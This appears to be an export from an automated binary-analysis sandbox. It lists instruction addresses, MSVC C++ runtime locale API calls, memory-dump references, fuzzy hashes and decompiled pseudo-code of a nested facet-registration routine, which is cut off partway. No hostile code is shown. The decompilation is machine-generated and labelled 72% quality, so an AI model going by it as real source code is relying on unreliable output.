0x6dd1f2f7
0x6dd1f2fc
0x6dd1f305
0x6dd1f307
0x6dd1f309
0x6dd1f34e
0x6dd1f351
0x6dd1f35d
0x6dd1f30b
0x6dd1f30b
0x6dd1f30d
0x6dd1f313
0x6dd1f319
0x6dd1f321
0x6dd1f324
0x6dd1f361
0x6dd1f36f
0x6dd1f374
0x6dd1f37c
0x6dd1f386
0x6dd1f38b
0x6dd1f396
0x6dd1f39a
0x6dd1f39d
0x6dd1f3a2
0x6dd1f3ab
0x6dd1f3ad
0x6dd1f3af
0x6dd1f3f4
0x6dd1f3f7
0x6dd1f403
0x6dd1f3b1
0x6dd1f3b1
0x6dd1f3b3
0x6dd1f3b9
0x6dd1f3bf
0x6dd1f3c7
0x6dd1f3ca
0x6dd1f407
0x6dd1f415
0x6dd1f41a
0x6dd1f422
0x6dd1f42c
0x6dd1f431
0x6dd1f43c
0x6dd1f440
0x6dd1f443
0x6dd1f448
0x6dd1f451
0x6dd1f453
0x6dd1f455
0x6dd1f49a
0x6dd1f49d
0x6dd1f4a9
0x6dd1f457
0x6dd1f457
0x6dd1f459
0x6dd1f45f
0x6dd1f465
0x6dd1f46d
0x6dd1f470
0x6dd1f4ad
0x6dd1f4bb
0x6dd1f4c0
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f7
0x6dd1f4f9
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d
0x6dd1f280
0x6dd1f280
0x6dd1f283
0x6dd1f287
0x6dd1f28b
0x6dd1f298
0x6dd1f2a0
0x6dd1f2a2
0x00000000
0x6dd1f2a2
0x6dd1f269
0x6dd1f269
0x00000000
0x6dd1f269
0x6dd1f267
0x6dd1f1da
0x6dd1f1da
0x6dd1f1dd
0x6dd1f1e1
0x6dd1f1e5
0x6dd1f1f2
0x6dd1f1fa
0x6dd1f1fc
0x00000000
0x6dd1f1fc
0x6dd1f1c3
0x6dd1f1c3
0x00000000
0x6dd1f1c3
0x6dd1f1c1
0x6dd1f134
0x6dd1f134
0x6dd1f137
0x6dd1f13b
0x6dd1f13f
0x6dd1f14c
0x6dd1f154
0x6dd1f156
0x00000000
0x6dd1f156
0x6dd1f11d
0x6dd1f11d
0x00000000
0x6dd1f11d
0x6dd1f11b
0x6dd1f08e
0x6dd1f08e
0x6dd1f091
0x6dd1f095
0x6dd1f099
0x6dd1f0a6
0x6dd1f0ae
0x6dd1f0b0
0x00000000
0x6dd1f0b0
0x6dd1f077
0x6dd1f077
0x00000000
0x6dd1f077
0x6dd1f075

APIs

__EH_prolog3.LIBCMT ref: 6DD1F03E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F048
int.LIBCPMT ref: 6DD1F05F

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

collate.LIBCPMT ref: 6DD1F082
std::_Facet_Register.LIBCPMT ref: 6DD1F099
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F0B9
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F0D7

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
String ID:
API String ID: 2363045490-0
Opcode ID: b063d864db00c2237651682c6945c167e8ec753e788bb62741e8b61cbf939670
Instruction ID: 7dfaa3e060f11bf218f519a589eb82868a3ca37e4a1ad01b8e91c82b22ba2d01
Opcode Fuzzy Hash: b063d864db00c2237651682c6945c167e8ec753e788bb62741e8b61cbf939670
Instruction Fuzzy Hash: E5119EB694C52A8BCF01FBA8DC40AFDB775EF95324F160049F610A7294DB75A9018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A2F1, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1A2F8
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A302
int.LIBCPMT ref: 6DD1A319

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

numpunct.LIBCPMT ref: 6DD1A33C
std::_Facet_Register.LIBCPMT ref: 6DD1A353
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A373
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A391

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
String ID:
API String ID: 2509942033-0
Opcode ID: 07e09b2f6fe8951f5bad4bca44d9b03cc632e7a00f1e33ab9e13ccb0bd9ec081
Instruction ID: 4159d0ccdb41501b5c3eff4dd2aae71e6dc4656663b68f59b7180c6678a75d46
Opcode Fuzzy Hash: 07e09b2f6fe8951f5bad4bca44d9b03cc632e7a00f1e33ab9e13ccb0bd9ec081
Instruction Fuzzy Hash: B3115E7590C1299BCF01FBA8DC40AEDB775EF85724F164509F610AB290DF74AA068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F229, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F229(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t251;
				signed int _t252;
				void* _t264;
				void* _t277;
				void* _t290;
				void* _t303;
				void* _t316;
				void* _t329;
				void* _t342;
				void* _t355;
				void* _t368;
				void* _t381;
				void* _t394;
				void* _t407;
				void* _t420;
				void* _t433;
				void* _t446;
				void* _t459;
				signed int _t663;
				signed int _t718;
				signed int _t719;
				signed int _t720;
				signed int _t721;
				signed int _t722;
				signed int _t723;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t735;
				signed int _t736;
				signed int _t737;
				signed int _t738;
				signed int _t739;
				signed int _t740;
				signed int _t741;
				signed int _t742;
				signed int _t743;
				signed int _t744;
				signed int _t745;
				signed int _t746;
				signed int _t747;
				signed int _t748;
				signed int _t749;
				signed int _t750;
				signed int _t751;
				signed int _t752;
				void* _t770;

				_t715 = __edx;
				_t544 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t770 - 0x14, 0);
				_t735 =  *0x6ddd6db8; // 0x0
				 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
				 *(_t770 - 0x10) = _t735;
				_t251 = E6DCF161C(0x6ddd6d6c);
				_t547 =  *((intOrPtr*)(_t770 + 8));
				_t252 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t251);
				_t717 = _t252;
				if(_t252 != 0) {
					L5:
					E6DD166BA(_t770 - 0x14);
					return E6DD30075(_t717);
				} else {
					if(_t735 == 0) {
						_push( *((intOrPtr*)(_t770 + 8)));
						_push(_t770 - 0x10);
						__eflags = E6DD20F1F(__ebx, _t547, __edx, _t717, _t735) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t770 - 0x20);
							E6DD33D74(_t770 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t717, _t735, 0x14);
							E6DD16653(_t770 - 0x14, 0);
							_t736 =  *0x6ddd6dec; // 0x0
							 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
							 *(_t770 - 0x10) = _t736;
							_t264 = E6DCF161C(0x6ddd6d98);
							_t554 =  *((intOrPtr*)(_t770 + 8));
							_t718 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t264);
							__eflags = _t718;
							if(_t718 != 0) {
								L12:
								E6DD166BA(_t770 - 0x14);
								return E6DD30075(_t718);
							} else {
								__eflags = _t736;
								if(_t736 == 0) {
									_push( *((intOrPtr*)(_t770 + 8)));
									_push(_t770 - 0x10);
									__eflags = E6DD20F87(_t544, _t554, __edx, _t718, _t736) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t770 - 0x20);
										E6DD33D74(_t770 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t544, _t718, _t736, 0x14);
										E6DD16653(_t770 - 0x14, 0);
										_t737 =  *0x6ddd6dbc; // 0x0
										 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
										 *(_t770 - 0x10) = _t737;
										_t277 = E6DCF161C(0x6ddd6d70);
										_t561 =  *((intOrPtr*)(_t770 + 8));
										_t719 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t277);
										__eflags = _t719;
										if(_t719 != 0) {
											L19:
											E6DD166BA(_t770 - 0x14);
											return E6DD30075(_t719);
										} else {
											__eflags = _t737;
											if(_t737 == 0) {
												_push( *((intOrPtr*)(_t770 + 8)));
												_push(_t770 - 0x10);
												__eflags = E6DD20FEF(_t544, _t561, __edx, _t719, _t737) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t770 - 0x20);
													E6DD33D74(_t770 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t544, _t719, _t737, 0x14);
													E6DD16653(_t770 - 0x14, 0);
													_t738 =  *0x6ddd6df0; // 0x0
													 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
													 *(_t770 - 0x10) = _t738;
													_t290 = E6DCF161C(0x6ddd6d9c);
													_t568 =  *((intOrPtr*)(_t770 + 8));
													_t720 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t290);
													__eflags = _t720;
													if(_t720 != 0) {
														L26:
														E6DD166BA(_t770 - 0x14);
														return E6DD30075(_t720);
													} else {
														__eflags = _t738;
														if(_t738 == 0) {
															_push( *((intOrPtr*)(_t770 + 8)));
															_push(_t770 - 0x10);
															__eflags = E6DD21057(_t544, _t568, _t715, _t720, _t738) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t770 - 0x20);
																E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t544, _t720, _t738, 0x14);
																E6DD16653(_t770 - 0x14, 0);
																_t739 =  *0x6ddd6dc0; // 0x0
																 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																 *(_t770 - 0x10) = _t739;
																_t303 = E6DCF161C(0x6ddd6d74);
																_t575 =  *((intOrPtr*)(_t770 + 8));
																_t721 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t303);
																__eflags = _t721;
																if(_t721 != 0) {
																	L33:
																	E6DD166BA(_t770 - 0x14);
																	return E6DD30075(_t721);
																} else {
																	__eflags = _t739;
																	if(_t739 == 0) {
																		_push( *((intOrPtr*)(_t770 + 8)));
																		_push(_t770 - 0x10);
																		__eflags = E6DD210BF(_t544, _t575, _t715, _t721, _t739) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t770 - 0x20);
																			E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t544, _t721, _t739, 0x14);
																			E6DD16653(_t770 - 0x14, 0);
																			_t740 =  *0x6ddd6df8; // 0x0
																			 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																			 *(_t770 - 0x10) = _t740;
																			_t316 = E6DCF161C(0x6ddd6da4);
																			_t582 =  *((intOrPtr*)(_t770 + 8));
																			_t722 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t316);
																			__eflags = _t722;
																			if(_t722 != 0) {
																				L40:
																				E6DD166BA(_t770 - 0x14);
																				return E6DD30075(_t722);
																			} else {
																				__eflags = _t740;
																				if(_t740 == 0) {
																					_push( *((intOrPtr*)(_t770 + 8)));
																					_push(_t770 - 0x10);
																					__eflags = E6DD21127(_t544, _t582, _t715, _t722, _t740) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t770 - 0x20);
																						E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t544, _t722, _t740, 0x14);
																						E6DD16653(_t770 - 0x14, 0);
																						_t741 =  *0x6ddd6df4; // 0x0
																						 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																						 *(_t770 - 0x10) = _t741;
																						_t329 = E6DCF161C(0x6ddd6da0);
																						_t589 =  *((intOrPtr*)(_t770 + 8));
																						_t723 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t329);
																						__eflags = _t723;
																						if(_t723 != 0) {
																							L47:
																							E6DD166BA(_t770 - 0x14);
																							return E6DD30075(_t723);
																						} else {
																							__eflags = _t741;
																							if(_t741 == 0) {
																								_push( *((intOrPtr*)(_t770 + 8)));
																								_push(_t770 - 0x10);
																								__eflags = E6DD211AB(_t544, _t589, _t715, _t723, _t741) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t770 - 0x20);
																									E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t544, _t723, _t741, 0x14);
																									E6DD16653(_t770 - 0x14, 0);
																									_t742 =  *0x6ddd6dc8; // 0x0
																									 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																									 *(_t770 - 0x10) = _t742;
																									_t342 = E6DCF161C(0x6ddd6d7c);
																									_t596 =  *((intOrPtr*)(_t770 + 8));
																									_t724 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t342);
																									__eflags = _t724;
																									if(_t724 != 0) {
																										L54:
																										E6DD166BA(_t770 - 0x14);
																										return E6DD30075(_t724);
																									} else {
																										__eflags = _t742;
																										if(_t742 == 0) {
																											_push( *((intOrPtr*)(_t770 + 8)));
																											_push(_t770 - 0x10);
																											__eflags = E6DD21230(_t544, _t596, _t715, _t724, _t742) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t770 - 0x20);
																												E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t544, _t724, _t742, 0x14);
																												E6DD16653(_t770 - 0x14, 0);
																												_t743 =  *0x6ddd6dc4; // 0x0
																												 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																												 *(_t770 - 0x10) = _t743;
																												_t355 = E6DCF161C(0x6ddd6d78);
																												_t603 =  *((intOrPtr*)(_t770 + 8));
																												_t725 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t355);
																												__eflags = _t725;
																												if(_t725 != 0) {
																													L61:
																													E6DD166BA(_t770 - 0x14);
																													return E6DD30075(_t725);
																												} else {
																													__eflags = _t743;
																													if(_t743 == 0) {
																														_push( *((intOrPtr*)(_t770 + 8)));
																														_push(_t770 - 0x10);
																														__eflags = E6DD212B4(_t544, _t603, _t715, _t725, _t743) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t770 - 0x20);
																															E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t544, _t725, _t743, 0x14);
																															E6DD16653(_t770 - 0x14, 0);
																															_t744 =  *0x6ddd6dd8; // 0x0
																															 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																															 *(_t770 - 0x10) = _t744;
																															_t368 = E6DCF161C(0x6ddd6d84);
																															_t610 =  *((intOrPtr*)(_t770 + 8));
																															_t726 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t368);
																															__eflags = _t726;
																															if(_t726 != 0) {
																																L68:
																																E6DD166BA(_t770 - 0x14);
																																return E6DD30075(_t726);
																															} else {
																																__eflags = _t744;
																																if(_t744 == 0) {
																																	_push( *((intOrPtr*)(_t770 + 8)));
																																	_push(_t770 - 0x10);
																																	__eflags = E6DD21339(_t544, _t610, _t715, _t726, _t744) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t770 - 0x20);
																																		E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t544, _t726, _t744, 0x14);
																																		E6DD16653(_t770 - 0x14, 0);
																																		_t745 =  *0x6ddd6db0; // 0x0
																																		 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																		 *(_t770 - 0x10) = _t745;
																																		_t381 = E6DCF161C(0x6ddd6d64);
																																		_t617 =  *((intOrPtr*)(_t770 + 8));
																																		_t727 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t381);
																																		__eflags = _t727;
																																		if(_t727 != 0) {
																																			L75:
																																			E6DD166BA(_t770 - 0x14);
																																			return E6DD30075(_t727);
																																		} else {
																																			__eflags = _t745;
																																			if(_t745 == 0) {
																																				_push( *((intOrPtr*)(_t770 + 8)));
																																				_push(_t770 - 0x10);
																																				__eflags = E6DD213A1(_t544, _t617, _t715, _t727, _t745) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t770 - 0x20);
																																					E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t544, _t727, _t745, 0x14);
																																					E6DD16653(_t770 - 0x14, 0);
																																					_t746 =  *0x6ddd6ddc; // 0x0
																																					 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																					 *(_t770 - 0x10) = _t746;
																																					_t394 = E6DCF161C(0x6ddd6d88);
																																					_t624 =  *((intOrPtr*)(_t770 + 8));
																																					_t728 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t394);
																																					__eflags = _t728;
																																					if(_t728 != 0) {
																																						L82:
																																						E6DD166BA(_t770 - 0x14);
																																						return E6DD30075(_t728);
																																					} else {
																																						__eflags = _t746;
																																						if(_t746 == 0) {
																																							_push( *((intOrPtr*)(_t770 + 8)));
																																							_push(_t770 - 0x10);
																																							__eflags = E6DD21409(_t544, _t624, _t715, _t728, _t746) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t770 - 0x20);
																																								E6DD33D74(_t770 - 0x20, 0x6ddd3504);
